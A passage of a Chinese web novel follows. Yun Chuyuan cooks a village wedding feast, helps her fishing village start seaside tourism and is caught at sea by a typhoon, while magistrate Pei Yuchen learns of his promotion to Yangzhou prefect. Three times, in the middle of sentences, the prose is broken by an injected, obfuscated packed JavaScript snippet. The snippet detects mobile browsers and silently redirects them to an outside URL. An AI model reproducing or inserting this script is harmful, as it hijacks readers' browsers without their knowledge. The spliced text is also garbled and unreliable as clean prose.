“大人,我听云姑娘说她下个月中旬才会启程,您要是舍不得她,就好好把握住这剩下的十几日,争取把她拿下呀。”青竹还是忍不住劝起了裴昱臣。 烈女怕郎缠,他就不信了,若是裴大人拉下脸面讨好云姑娘,还能拿不到名分吗? 裴昱臣眉头紧锁,眼底闪过一丝挣扎,叹了口气说道:“算了,我何必去惹人生厌呢,到时候怕是连朋友都做不成了。” 青竹怒其不争,一副天都塌了的样子,连连哀叹:“大人,您糊涂啊,倘若日后云姑娘结识的人多了,哪还记得您这号人物啊!” 他又继续添了把火:“而且云姑娘要是嫁人了,她的夫君怎么可能允许她与外男有往来呢?” 裴昱臣的脸色煞白了一瞬,嘴唇抿得死死的,逞强道:“那我会尊重她的意愿,不再来往。” 青竹很想说,大人您可别嘴硬了,你手里握住的茶杯都快被捏碎了。 “咚咚咚!” 敲门声响起,外面传来小厮的说话声,“大人,有您的信。” “送进来吧。” 小厮推开门,将门房收到的信件呈了上来,“大人,江南来信。” 裴昱臣接过后,见到信封上熟悉的字迹,他就知道这是严指挥使寄来的信,裴昱臣拆开后一目十行地看了起来,越往后看神色越是讶异。 以严指挥使的雷霆手段,他不费吹灰之力地拿下杜知州一事,他并不意外。 令他感到惊讶的是,江南局势混乱,圣上想安排一个没有投靠任何势力的官员担任扬州的新知州,这不就想起了他这位新科状元来了。 严指挥使递交的奏折言明铲除倭寇之事有裴昱臣一份功劳,替他美言了几句。 圣上查了秋税后,惊奇地发现他掌管的临海县不仅不再欠税,还比一些富庶县城上交的税更多,便认定裴状元是个人才,立马下旨让他去接任扬州知州的职位。 严指挥使在信中说道,各方势力为了这个肥差挣得头破血流,最后却落在了他这位名不见径传的小县令身上,他们难免会给他使绊子,让他赴任后小心行事。 看完信后的裴昱臣久久不能回神,想不到他这么快就要离开临海县了。 不到一年的时间,这个穷乡僻壤的小县城发生了翻天覆地的变化,如今百姓们安居乐业,很少出现偷盗之事,他也算是完成使命,可以安心离去了。 想到那位帮他出谋划策的女子,裴昱臣露出了一抹笑,这就是上天注定的缘分吗?云楚沅前脚说要去江南,后脚他升迁的旨意就要下来了。 看来,他又有机会与她继续接触了,这一回他不会再轻易放弃。 青竹瞧着自家大人看了封信后,脸色阴雨转晴,笑得一副春心荡漾的模样,不明白他这是遇上了什么好事。 “青竹,准备收拾好行囊,下个月我也要去江南。” 青竹眼睛一亮,笑得合不拢嘴,“好嘞,大人!”看来大人想通了,这是要去千里追妻呢。 —— 云楚沅牵着小弟和小妹的手走在回小渔村的路上,身后传来一阵驴蹄声和吆喝声,“云丫头,我捎你一程。” 云楚沅循声回头看去,村长余满生驾着驴车“哒哒哒哒”靠近,他的车上还载着几名眼生的男子。 “村长,你这是干嘛去了。”云楚沅在驴车上坐稳,悄悄打量了一番对面的几个人,他们眼神兴奋,叽叽喳喳地小声交流着。 余满生乐呵呵地说道:“临海县这几天不是来了许多外乡人吗?他们对咱们村的养殖区很感兴趣,想要来参观,顺便也想体验一把出海钓鱼的乐趣。” 据村长的解释,这几个男子要租船去海钓,顺便掏银子在他家里吃一顿海鲜大餐。 村长的驴车这两天已经接待了不下百人,业务都已经熟练了。 云楚沅回过味来,这不就是旅游业吗?他们村这是要开海边渔家乐了呀,让旅客们体验渔业,还能品尝到自己亲手捞上来的新鲜海鲜。 不得不说,村民们的脑子还真是好使啊,这就让他们抓住了商机。 “村长,这几日村民们很忙吧。” “可不是嘛,大伙儿都抢着接客呢,有两家为了争客人差点打起来!” 余满生感慨万千,遥想去年,他们还是看老天爷脸色吃饭的渔民,如今却过上了养鱼养虾轻松赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109371|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银子的好日子,云家丫头功不可没啊。 想到这里,他看向云楚沅的目光越发和蔼,“丫头,到叔家去吃饭呗,你大娘今儿个做了不少好菜呢。” 云楚沅笑着拒绝:“不了,我和林大娘约好了去他们家吃午饭呢,明日小贝哥就要成亲了,我们还要商量商量喜宴上的菜式呢。” 余满生也想起了这茬事:“哎哟,差点忙活忘了,明天就是小贝娶亲的日子咧,回头我让你大娘一块去帮忙。” 村子里就是这样,谁家有喜事或者丧事,全村人都会去帮衬,主打一个人情世故。 翌日天不亮,云楚沅就穿戴整齐,赶往了林家,大伙儿已经忙了起来,男人们搬来桌椅板凳,妇女们择菜洗碗。 院子里的案板上堆满了各种新鲜的食材,肥嫩的猪肉、活蹦乱跳的鱼虾、张牙舞爪的螃蟹,还有翠绿欲滴的青菜。 几个婶子支起一口大铁锅,下面的柴火噼里啪啦地烧着,锅里的水咕嘟咕嘟冒着热气,肉香味蹿向四周。 “哟,这是做什么好吃的呢?”钟兰花的娘家嫂子也来帮忙,她和云楚沅很熟,毕竟云记可是承包了他们家的全部海鸭蛋,是他们钟家的大客户。 “嫂子你来了?我正在焯排骨呢,今日要做一道排骨肉蟹煲。”云楚沅一边用勺子搅动着锅里变白的排骨,一边笑着说道。 “嘿,老林家请你来掌勺做喜宴,俺们有口福了。”钟家嫂子的话引来了一大片附和声。 切着菜的钟兰花说道:“那可不,楚沅的手艺那是没话说,黎娘子来和我们小贝定亲那日,尝了云妹子做的鲍鱼红烧肉,吃的那叫一个香。” 被林大娘安排来添柴的林小鱼抬起头来:“这倒是真的,林小贝从那天起,老是偷偷进厨房学做菜,有一回还切破了手指呢。” 周围人一听,顿时笑得不行,“哎哟,咱们小贝还真是贤惠,还懂得抓住女人的胃。” “你这丫头,别揭你哥哥的短了!”钟兰花伸出手指点了点林小鱼的额头,哪有在成亲之日说新郎官的糗事的。 旁边的云楚沅起锅烧油,放入姜片和蒜末爆香,焯过水的排骨倒入锅中煎至金黄。 对半切开的螃蟹露出了里面饱满的蟹肉和橙红的蟹黄,放入锅中与排骨一同翻炒,蟹壳变红后,倒入提前熬好的高汤,加入生抽、蚝油、糖、八角、桂皮等调料小火慢炖。 门外响起一阵唢呐声,迎亲的队伍到了,身穿红色喜袍的黎娘子意气风发地走在最前头,胸前绑着一朵大红花,她隔着老远就闻到一股肉香味,顿时加快了脚步。 “爹,娘,我来娶小贝了!”黎娘子一进林家大门就嚷嚷了起来。 她眼神游移,不停扫视着桌子上的席面,除了红烧肉、清蒸鱼、油焖虾、炒蛤蜊等菜品,唯独桌子中间放着的砂锅是她不认识的新菜,想必那股子霸道的香味就是出自这道菜。 “哎呦,黎娘子来了,咱们准备开席吧。” 林大娘笑着将她迎了进来,村子里办喜事没那么多讲究,更何况他们林家是入赘,索性让新郎官和新娘子都出来敬酒。 73. 喜宴 揭开锅盖的瞬间,一锅色彩丰富的排骨肉蟹煲如画卷般在众人面前徐徐展开。 排骨色泽红亮,每一块都吸饱了汤汁;螃蟹饱满肥硕,红壳子坚硬光滑,蟹肉洁白如雪;配菜有土豆、玉米、油菜、胡萝卜,黄的、绿的、红的,颜色搭配得十分好看。 敬完酒的黎娘子坐在主桌,目光紧紧盯着热气腾腾的排骨肉蟹煲,等林小贝给她盛了一碗后,二话不说就吃了起来。 同桌的林大娘见状,又为她多添了好几样菜,“小黎,多吃点,这些菜都是云丫头做的。” 被邀请一起坐主桌的云楚沅一边给小弟小妹夹菜,一边笑着说道:“黎姐姐,听说你最爱吃排骨,这道菜可还合你的心意?” 浓稠汤汁包裹着每一块食材,黎娘子夹起一块排骨,蘸上些许汤汁送入口中,外皮焦香,内里鲜嫩多汁,还带有蟹肉的鲜美和蟹黄的独特风味。 黎娘子抬头看了她一眼,笑道:“好吃,这是我吃过最特别的排骨,肉香里带着有一股海鲜味。” 经过长时间的炖煮,排骨变得酥软入味,轻轻一咬便能脱骨;蟹肉鲜嫩多汁,蟹黄绵密香浓;配菜也很有滋味,土豆绵软,玉米清甜,青菜爽脆,萝卜可口。 牙口不好的林大娘也对此赞不绝口:“我老婆子尝着也很不错,瞧瞧,其他桌的客人没有一个不夸的。” 云楚沅竖起耳朵来,周围全是对她的夸赞。 “哎哟,真不得了,我还从来没吃过这么好吃的菜,舌头都要吞掉了。” “这云家丫头真能耐,怪不得她开的食肆生意红火。” “下个月我儿子也要娶媳妇摆喜宴,不知道能不能请她来掌勺。” “你们隔壁村的人凑什么热闹?云丫头忙得很,人家可是要赚大银子的,可没工夫去给你做菜。这回是因为林家对云家有恩,她才会同意的。” 还有的一桌人吃饭像是打仗似的,筷子如雨点般落下,争抢着桌子上的菜,有两人夹住同一块排骨,谁也不让谁,暗中较劲。 有个嫂子眼尖的很,谁吃了多少都有数,“欸欸欸,停手!这大虾你都夹了两只了怎么还夹?你也不数数人头,这一盘子虾够我们一桌人吃的吗?” 被点到的老妇讪讪一笑:“我不是瞧着大伙儿都抢着吃排骨吗?想必这油焖虾没人爱吃,那我吃了又咋了?” 小嫂子翻了个白眼,手上动作极快地把虾夹到自己碗里,嘴里骂骂咧咧:“你个老不羞的,还真敢说!放着还没吃那是想待会再吃,怎么就是你的了?是不是我男人放着不睡,你就想染指呀?臭不要脸!” “哈哈哈!” 同桌的人顿时哄笑了起来,把老妇人臊的脸红,她端起那位小嫂子的碗,“呸呸”吐了两口唾沫,恼恨地说道:“小娼妇,我叫你吃!吃老娘的唾沫星子去吧!” 其他人立马端起碗离她远远的,被这老妇人恶心得不行,“喂,你还叫不叫俺们吃饭了,吃席碰上你这种人真是晦气。” 早就注意到那边动静的云楚沅,一见那位嫂子横眉倒竖、撸起了袖子,立马通知了林大娘和钟兰花,“大娘,兰花嫂子,那边有人闹起来了,你们快去调解一下,可别让她们破坏了这大喜日子。” 两人一听,立马撂下筷子,像战斗的老母鸡一般气势汹汹地冲了过去。 “谁敢在我儿的喜宴上闹事!” 云楚沅的心又提了起来,怕林大娘这副样子不是去解决问题,而是火上浇油。 她刚想跟上去劝阻,就被旁边的林小鱼拉住了衣袖,“云姐姐,你就安心吃吧,我老娘年轻的时候那可是骂遍全村无敌手,她一出现绝对能镇住她们。” 果不其然,云楚沅再看过去时,那位嫂子和老妇已经安静了下来,并且被分到了两张桌子上坐。 “还是林大娘有手段。”云楚沅感慨道。 “云姐姐,你赶紧吃吧,我三嫂和四嫂可要把所有菜清空了。”林小鱼凑近云楚沅,用胳膊肘轻轻碰了碰她。 云楚沅收回视线,才发现林三嫂和林四嫂如同风卷残云一般飞快地将桌上的菜扫进自己碗里,还不忘给自家男人和孩子夹。 这两人一个爱占便宜,一个贪吃,压在她们头顶上的婆婆和大嫂一离开,立马原形毕露。 林大爷和林大哥两个大男人不好意思说她们,神色尴尬地移开视线,装作没看见。 黎娘子目瞪口呆地看着眼前这一幕,叹为观止。想不到,在吃这方面,有人比她更上心。 倒是挨着她坐的林小贝气得浑身发抖,往常在家里他不愿与嫂嫂们计较,反正他也吃的不多。可这是他的喜宴,他娘子都还没吃饱,旁人倒是吃了个尽兴。 林小贝红着眼指责她们两人:“三嫂,四嫂,你们在灶房没偷吃够吗?用得着在宴席上如此做派?” 此话一出,主桌的气氛瞬间安静下来,众人都停下了筷子,谁也想不到往日里轻声细语的林小贝会突然说些让人下不来台的话。 林小鱼一反常态地没有奚落同胞哥哥,反而兴致勃勃地拉着云楚沅小声嘀咕,“天啊天啊,有生之年我竟然能看到老实人发火。” 云楚沅同样震惊,她眼神看向黎娘子,想起她所谓的驭夫之道来,心中啧啧称奇,这就是爱情带给人的变化吗? 过了一会儿,愣住的林三嫂回过神来,难以置信自己竟然被向来瞧不起的小弟嘲讽了,她匪夷所思地看向林小贝,“哟,哑巴也会开口了?” 这话可谓是相当难听了,看热闹的林小鱼一下子沉下脸来,她平常骂一骂林小贝,那也是他们林家人的事,这个女人算老几,她有什么资格骂林小贝。 林大爷“啪”的一下放下筷子,刚想叫老三管好自己的媳妇,静坐在一旁的黎娘子开口了。 “我竟不知林家是如此作风,嫂子都可以辱骂小叔子了,想来小贝在这里吃了不少苦。既如此,我就先带他回黎家吧,新郎官都不高兴,这喜宴办的有什么意义?我回去重新张罗便是。”说罢,黎娘子拉住林小贝的手腕就站了起来,一下子吸引了院子里所有人的目光。 林家人脸色难看,林三嫂更是吓得冷汗直流,她没想到自己脱口而出的一句话就引得黎娘子这么大的反应,要是叫婆婆知道了,肯定要把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113613|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剥皮抽筋! “呵呵,弟妹,嫂子方才是开玩笑的,你别和我一般见识。”林三嫂立马起身挡住黎娘子,隔开外人窥探的视线,讨好地小声道歉,“弟妹,大喜日子惹你生气,是嫂子错了。” 黎娘子揽住林小贝的腰,面无表情地说道:“你该道歉的人不是我。” 林三嫂面露纠结,要她向窝囊废林小贝道歉,那她以后岂不是矮他一头? 就在林三嫂犹豫着不想开口时,林大娘和钟兰花回来了,她们一看这情况就知道大事不妙。 林大娘阴着脸拧住林三嫂的耳朵:“你这婆娘又作什么妖?是不是想死啊!” “哎哟,哎哟,娘,我不是故意的!”林三嫂一见婆婆来了,立马软了骨头,“小弟,嫂子说错话了,你就原谅我吧,我……我给你磕头赔罪!” 林小贝瞧着扑到他身前的三嫂,惊慌失措地后退两步,轻咬着嘴唇说道:“罢了,下不为例。” 一场家庭风波以林三嫂的滑跪平息了。 围观了全程的云楚沅对能屈能伸的林三嫂佩服不已,更对挺身维护夫君的黎娘子拍手叫好,想必他们这对小夫妻的婚后生活会越过越好。 —— 参加完林家的喜宴后,云楚沅在小渔村多留了两日,她想去看看村民们的海边渔家乐搞的怎么样。 一大早,云楚沅找上村长,说要和他一起去接待游客,村长想也不想便点头答应了。 “小渔村,直达小渔村的驴车在这里,一人只要五个铜板。”村长举着一块刻着字的木牌,站在县城门口晃荡。 蹲在路边的云楚沅四处打量,边海村、安海村……凡是靠近大海的村子,统统都有人在这里招揽外地来的旅客。 有时候还不等人家多问两句,村民们便把客人架上了驴车,省得他们被别人截胡。 小毛驴拉着一车人,浩浩荡荡地向小渔村走去。 云楚沅趁此机会,和外来的游客们闲聊了起来,“小哥,你们是哪里人士?怎么到我们临海县来了?” 皮肤黝黑的男子因为她的搭话,不自在的红了脸,“我……我是嵊县人士,来这里是想从云记订一些酱料回去售卖。” 原来是个货郎,云楚沅了然,“那你一定对海鲜很感兴趣吧,所以才想去我们村体验渔家乐!” “……我只是想问个路,就被那位大叔强拉上车了。”男子伸手指了指正在驾驴车的村长。 云楚沅噎了噎,笑着转移了话题,“听说云记的老板就是小渔村出来的,那里还有云记的养殖区和加工坊,你一定会感兴趣的。” 这位小哥腼腆一笑:“这倒是真的,不知道从云老板的家乡买货,价钱会不会更便宜。” “……” 云楚沅默默把头转了回去,又发现了对面坐着一对年轻男女,瞧着像是外出游玩的,这一定是对渔家乐感兴趣的人了。 她刚想开口,对面的女子就看向了她:“姑娘,不用问了,我们两人是私奔的,去哪里无所谓。” “……” 难道就没有纯粹是为了渔家乐而来的人吗? 74. 海边渔家乐 咸湿的海风吹来,刚下驴车的旅客们不由精神一振。 “妹子,你们村环境不错,让人心旷神怡。”和云楚沅聊过天的小哥深吸了一口气。 “那可不,来这一趟你绝对不会后悔的。” 云楚沅致力于将他们小渔村发扬光大,一路上不停地介绍,他们这儿风景多么多么宜人,海鲜多么多么美味,把这位小哥都说馋了。 这时,村长提了几个桶走了过来,“旅客们,咱们今天的首先要体验的是赶海,大伙儿跟上我的步伐!” 海边,一朵朵浪花溅起,铲子挖贝壳的声音叮当作响,这里已经有不少人正在寻找搁浅的海鲜,村子里闲来无事的孩童正指导着手忙脚乱的旅客抓螃蟹。 “小花,你来领着这几位旅客去赶海抓海鲜。”村长朝撒丫子跑在滩涂上的小姑娘喊了一声。 回过头来的小丫头眼睛发亮,脸蛋被海风吹得红扑扑的,边跑边喊:“大伯,我来啦!” 身穿褐色布衣、扎着羊角辫的小姑娘蹦蹦跳跳地走在最前面,手里挥舞着一把小铲子。 来到一处浅滩,漫过脚踝的海水带来丝丝凉意,小花突然停下脚步,蹲下身子,指着一个微微隆起的小鼓包说道:“看,这是猫眼螺!” 她熟练地用铲子轻轻一挖,一只肥硕的猫眼螺便露了出来,小花把它放到海水里甩了甩,仔细抹去肉上的泥沙。 “瞧,这猫眼螺可好玩了!”小花用手使劲一攥,胖乎乎的螺肉就像脱水的棉花般渐渐收缩。 旅客们来了兴趣,纷纷效仿,四散开寻找沙滩上鼓起来的小包,可总是找不对地方,一个个都挖空了,他们急得直挠头。 小花“咯咯咯”的笑了起来,走过去指点众人。 沿着海岸线前行,他们踩出的脚印转眼就被涌上来的潮水抹平,退潮后的礁石上有各种奇形怪状的贝壳,还有躲在石缝里的螃蟹和八爪鱼。 小花在礁石间穿梭自如,她瞅准一块扁平的大石头,迅速将手伸进石头下的缝隙里,旁人还没反应过来,她就拎出一只大螃蟹。 张牙舞爪的螃蟹挥动着两只大钳子,试图逃跑,却怎么也挣脱不开,“哈哈哈,抓到你了!” “哇!我能摸摸吗?”一名女子瞪大了眼睛凑近观看,小心翼翼地想要摸一摸,又怕被夹到手。 小花转头对她说:“别害怕,只要捏住它的背就行,它夹不到你的。”说罢,她将手里的螃蟹递给旅客。 女子按照小花说的那样用食指和拇指捏住螃蟹,好奇地摇了摇,“这螃蟹会不会被晃晕啊。” 她刚说完,螃蟹便吐起了小泡泡,挣扎的动作渐渐变慢,像是快要不行。 女子吓了一跳,放松了对它的控制,却不料一眨眼的工夫,螃蟹“噌”的一下便从她手里跳到沙滩上,横着跑远了。 “嘿,这家伙还会装死呢?”回过神来的女子看着空了的手,再看看螃蟹慌忙逃窜的背影,被逗笑了。 云楚沅说道:“这些海鲜可聪明了,有的还会伪装呢。”她从礁石上掰下一个大海螺,它的外壳花纹和石头几乎一样,要是眼神不好使还真发现不了。 “哎哟!” 突然,身后传来一声叫唤,众人回头一看,一名男子的脸上黑乎乎的,他手里还拿着一只正在喷墨汁的八爪鱼。 大伙儿先是一愣,随后爆发出阵阵笑声,那名倒霉的旅客呆立在原地,用手背擦去脸上的墨汁,嘴里迸出几句含糊不清的咒骂。 可他越擦拭,墨汁就越发涂抹开来,让他看起来狼狈不堪,而那只犯了事的八爪鱼趁其不备悄悄溜走了。 “我带你去我家清洗一下。”小花忍着笑,拽着那个男子的转身就走,撂下一句,“云姐姐,你先替我陪一陪客人们。” “行,你去吧。”云楚沅也有些哭笑不得,他们才游玩了第一个项目就状况百出,也不知道游客们会不会失望。 “云姑娘,赶海真有意思。”被螃蟹戏耍了的女子丝毫没觉得不高兴,反而兴致勃勃地准备多抓两只,然后把它们煮了吃,来报自己被戏耍的仇。 云楚沅松了口气,面带笑意地领着游客们继续寻找海鲜。 一个时辰后,收获满满的众人远离了海岸线,往靠近村子的沙滩上走去。 “你这老不死的,凭什么和我抢人!” “呸,这是我凭本事找到的客人,怎么就是你的人了?” “他们是我男人从县城拉回来的游客,怎么就不是我家的?” “哼,那又怎样?谁叫我家做的饭便宜,他们想来我家吃,你拦得住吗?” 云楚沅听到不远处传来争吵声,抬头望去,竟是两个熟人,林秀秀和刘大娘。 这两人可不是什么善茬,更何况和她的关系都不咋样,于是云楚沅装作没看见,加快脚步想要远离这个是非之地。 她想得挺好,可架不住有人不想让她走。 “楚沅,你来的正好,你给嫂子评评理。”林秀秀尖锐的声音闯入耳朵,四周看戏的人纷纷向她投来视线。 云楚沅停下脚步,无奈地转回身,“哟,这不是钱家嫂子和刘大娘吗?你们在这闲聊呢?” “谁和她闲聊呢!”林秀秀朝刘大娘翻了个白眼,亲亲热热地将云楚沅拉到身边,“云妹子,你可得帮帮我,这老婆子忒不讲理,把我家的客人抢走了。” 刘大娘见云楚沅来了,脸上的肉抖了抖,“哼,谁不知道云楚沅和你们钱家关系好,怎么着?想要合起伙来欺负我啊!我告诉你们,没门!”说完,她把袖子撸了起来,大有和她们打一架的势头。 云楚沅看了两眼旁边惴惴不安的两名男子,大概猜到什么情况了。 旅客们有些会在小渔村留宿或是用饭,免不了要花钱,村民们为了抢客人很可能会打价格战,导致双方产生冲突。 可这并不利于小渔村的发展,价钱低了赚的银子少了,村民们势必会投机取巧、偷工减料,让渔家乐的体验变得极差,这样下去,肯定会消减旅客们的热情。 云楚沅状似不经意地问道:“嫂子,为何刘大娘家还有粮食给外人做饭呢?上回他家三个小子向我讨要吃食的事我还记得呢。” 林秀秀很上道,立马接话:“谁知道呢,说不定是给人家吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121777|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡食鸭食吧,这就说得通为啥他老刘家的饭这么便宜了。” 云楚沅差点忍不住喷笑出声,这林秀秀的嘴真毒啊,刘大娘做点水煮海鲜糊弄人她倒是能想象得到,可直接让人吃鸡食那是不大可能的。 可这么离谱的话确实会让人动摇,那两名旅客迅速远离了刘大娘,朝云楚沅和林秀秀这边走了过来。 刘大娘咬了咬牙,怒气冲冲地朝林秀秀扑了过去,挥起手打向她的脸,“我叫你乱说话,你看我不撕烂你的嘴!” 林秀秀不甘示弱,一把拽住刘大娘的头发,“来啊,我怕你这肥婆子不成?” 围观的村民纷纷上前拉架。 “行啦行啦,一点小事至于打成这样吗?” “再打架我把你们俩的男人喊来了!” 云楚沅也没想到这两人一言不合就大打出手,刚想上去帮忙,就听到有人喊“村长来了”。 “都给我住手!”脸色阴沉的余满生瞪了闹事的两个妇人一眼,心里气的不轻。 他们小渔村渔家乐的名声刚打出去,就有村民扯后腿,要是给旅客们留下不好的印象,他绝对不会放过这两个不懂事的婆娘。 “你们两家最近不用接待旅客了。” 村长这话一出,林秀秀和刘大娘都忿忿不平。 “为啥,是这个疯女人先动的手!”林秀秀用手指轻轻碰了碰自己脸颊上的伤痕,心中暗骂,这女人下手真重。 刘大娘同样不满意村长各打五十大板的做法,“我又没错,凭什么罚我!” 余满生呵斥道:“就凭你们两个抹黑我们小渔村的形象。” 见她们还是一脸不服气的样子,余满生下了最后通牒,“要是再闹,以后村子里有好事都不会考虑你们两家了,养殖你们也别参与了。” 两人顿时变了脸色,这下可是拿住她们的命脉了,眼瞅着小渔村就要发达了,不让她们跟着赚钱,那就相当于割她们的肉。 林秀秀连忙做出保证:“村长,不会了不会了,我不跟她一般见识的。” 刘大娘谄媚地挤出一个笑:“行行行,我们家不接待旅客了,以后有好事可不能忘了我们老刘家。” 余满生看向围观的村民们,说道:“这样的事我不希望发生第二回,要是有人为了抢客故意压价,别怪我不客气了!” 瞧见众人都点头附和,余满生转头对旅客们说道:“让各位见笑了,我们听云丫头的提议,在岸边搞了个海鲜烧烤自助,这次不收你们银子,请你们放开了吃。” 旅客们对这个从未听说过的自助餐很好奇,决定跟去看看。 一阵风吹过,海鲜的香味混合着炭火燃烧时散发的焦香扑面而来,瞬间勾起人们肚子里的馋虫。 长桌上摆放着琳琅满目的吃食,烤好的蒜蓉牡蛎和蒜蓉扇贝、穿成串的大虾、洒满调料的烤鱼,还有各种烤熟的蔬菜。 早就饿了的旅客们咽咽口水,拿起桌上的盘子,迫不及待地开始挑选自己爱吃的海鲜。 有人钟爱肥美多汁的牡蛎,有人喜食焦香四溢的烤串,旅客们找好座位坐下,享用起了美食。 75. 台风 云楚沅将一串鱿鱼放在炭火上烤,“嗞啦”的声音响起,炉子升起一阵白色的烟雾,鱿鱼须迅速卷曲收缩。 油脂滴到炭上,火焰“噌”地蹿高,云楚沅动作熟练地给鱿鱼串翻面,透明的肉质渐渐变成金黄,散发出阵阵诱人的香气。 “云姐姐,烤鱿鱼快做好了吗?”小花用小鼻子嗅闻着空气中的香味,盯着云楚沅手上翻动的动作直咽口水。 “马上就好,等我撒上调料。”云楚沅用的烧烤料是她自制的,由花生、花椒、孜然、盐和芝麻研磨而成。 孜然还是她在江南买到的,据说是刚从西域传来的新香料,使用的人还不多,香料铺的掌柜见云楚沅全买下后,乐得合不拢嘴。 鱿鱼串被撒上烧烤料,那小味一下子就窜了上来,这股独特又霸道的香味吸引了众人的目光,旅客们纷纷围过来排队。 云楚沅见状,又往烤炉多放了一大把新鲜鱿鱼,而后将烤好的那串递给了眼巴巴看着她的小姑娘,“小花,这第一串给你。” 小花接过云楚沅递来的鱿鱼串,吹了吹上面冒着的热气,轻轻咬一口,外皮烤得酥脆,里面非常柔嫩。 “呜哇,太好吃了!”小花两眼放光地说道。 弹牙的鱿鱼混合着炭火炙烤后的烟熏味,再加上孜然独特的风味,令人眼前一亮。 旅客们吃过后默契的没有离开,而是继续围在云楚沅跟前,目光黏在滋滋作响的烤炉上挪不开步,等待着下一批烤鱿鱼。 云楚沅都不知道自己在烤炉前站了多久,翻鱿鱼都翻到麻木了,旅客们才渐渐散去。 午后,村长和云楚沅带领旅客们来到了岸边,他们即将出海去体验海钓。 古人制作鱼竿的技艺已经比较成熟,他们村子里的渔民自制的鱼竿相当实用,坚韧的竹竿打磨好后,缠上丝麻混纺线,空心芦苇制成浮子,钓线下方绑上石片做沉子。 小船飘荡在海面上,村长教着旅客们如何挂鱼饵、如何抛竿、如何起竿,众人聚精会神地竖起耳朵听着。 云楚沅独自一人坐在小船的另一端,没有凑这个热闹,她要是想钓,这海里面的鱼还不得排着队上钩呀。 为了不打击旁人的积极性,云楚沅没挂鱼饵,只是坐在那里做做样子,省得鱼儿都被吸引到她附近,其他人没得钓。 “瞧,浮子沉下去了,鱼竿剧烈抖动,是大鱼没跑了!”鱼线绷直,钓竿弯成满弓,村长臂膀的肌肉暴起又迅速松弛,稳稳攥住鱼竿,任凭大鱼左右晃动,双方开启了一场拉锯战。 村长眼神专注地盯着海面,一条带有红色斑点的石斑鱼破水而出,它的鳞片闪烁着光泽,尾鳍拍打出水花,被拎到船上时还在摆尾挣扎。 云楚沅张大了嘴巴,这不是东星斑吗?这种鱼很稀有、价格可不便宜。 “嘿,今儿个这鱼长得好看,想必吃起来也好吃。”村长随手将东星斑扔进桶里,并未觉得这鱼有什么特殊的。 他们这些常年与大海打交道的人,见过太多颜色和花纹奇特的鱼,连带刺的鱼都抓回去吃过,这片海洋下隐藏着的宝藏根本数不尽。 在村长的指导下,旅客们或多或少都钓上了鱼,他们一个个都开心得不行。 “好了,咱们该回去了。”村长见他们都满意了,便划着船返回。 海鸟掠过水面又展翅高飞,旅客们躺在小船上,眯眼远望着连成一片的天与海,吹着海风,享受这片刻的安宁。 然而,意外总是来得猝不及防,划船的村长刚看到小渔村的模糊轮廓,有名旅客突然出声:“咦,那是什么?” 众人转回头,循着他手指指向的方向,隐约看到远处的天边出现了一片暗沉的云团,正以惊人的速度向他们这边涌来,宛如一块巨大的墨渍晕染开来。 黑云所到之处,阳光瞬间被吞噬,海面上的波浪开始变得躁动不安,相互撞击着发出沉闷的声响。 见此情景,云楚沅心中升起不妙的预感,这样子怎么像是台风来了。 不过须臾,狂风大作,海浪瞬间被掀起数丈之高,汹涌澎湃地扑了过来,小木船在这股强大的力量面前显得十分渺小,船身剧烈摇晃起来,众人被甩得晕头转向。 “啊!怎么回事?这天怎么天然变了?”从未接触过海上恶劣天气的游客们慌了神,他们惊慌失措地喊叫了起来。 “救命啊,我不会要死在这里吧!” “村长,你快点划船!海浪要打过来了!” “呜呜呜,我真后悔来了这里。” 云楚沅脸色难看,在自然灾害面前,他们显得脆弱而又渺小。 天空已经完全被黑暗笼罩住了,台风的中心愈发逼近,大雨倾盆而下,密集的雨点落在海面,激起一片片水花。 云楚沅摸了一把脸上的雨水,她安抚好旅客后,对村长说道:“村长,海岸线不远了,你再加把劲!” 村长保持着冷静,用力挥动双臂,勉强令小船在起伏的海面上朝着正确的方向前进。 —— “县令大人,大事不妙了!” 青竹破门而入,双手撑着膝盖,喘着粗气说道:“大人,不好了,海边的村落出事了!” 裴昱臣腾地一下站起身来:“出了何事。” “飓……飓风来了!” “咔嚓!” 裴昱臣手中的茶杯掉在地上摔碎了,他一边往外跑,一边问道:“现在情况如何?” 青竹小跑着跟在他后面,“已经有两个村子被淹了,梁捕头正组织衙役前去救人。” “人命关天,叫他们动作快点,我先走一步。”裴昱臣翻身上马,飞快向小渔村的方向狂奔。 一方面,是因为小渔村距离临海县最近;另一方面,他的心里焦躁不安,牵挂着还在村子里的云楚沅。 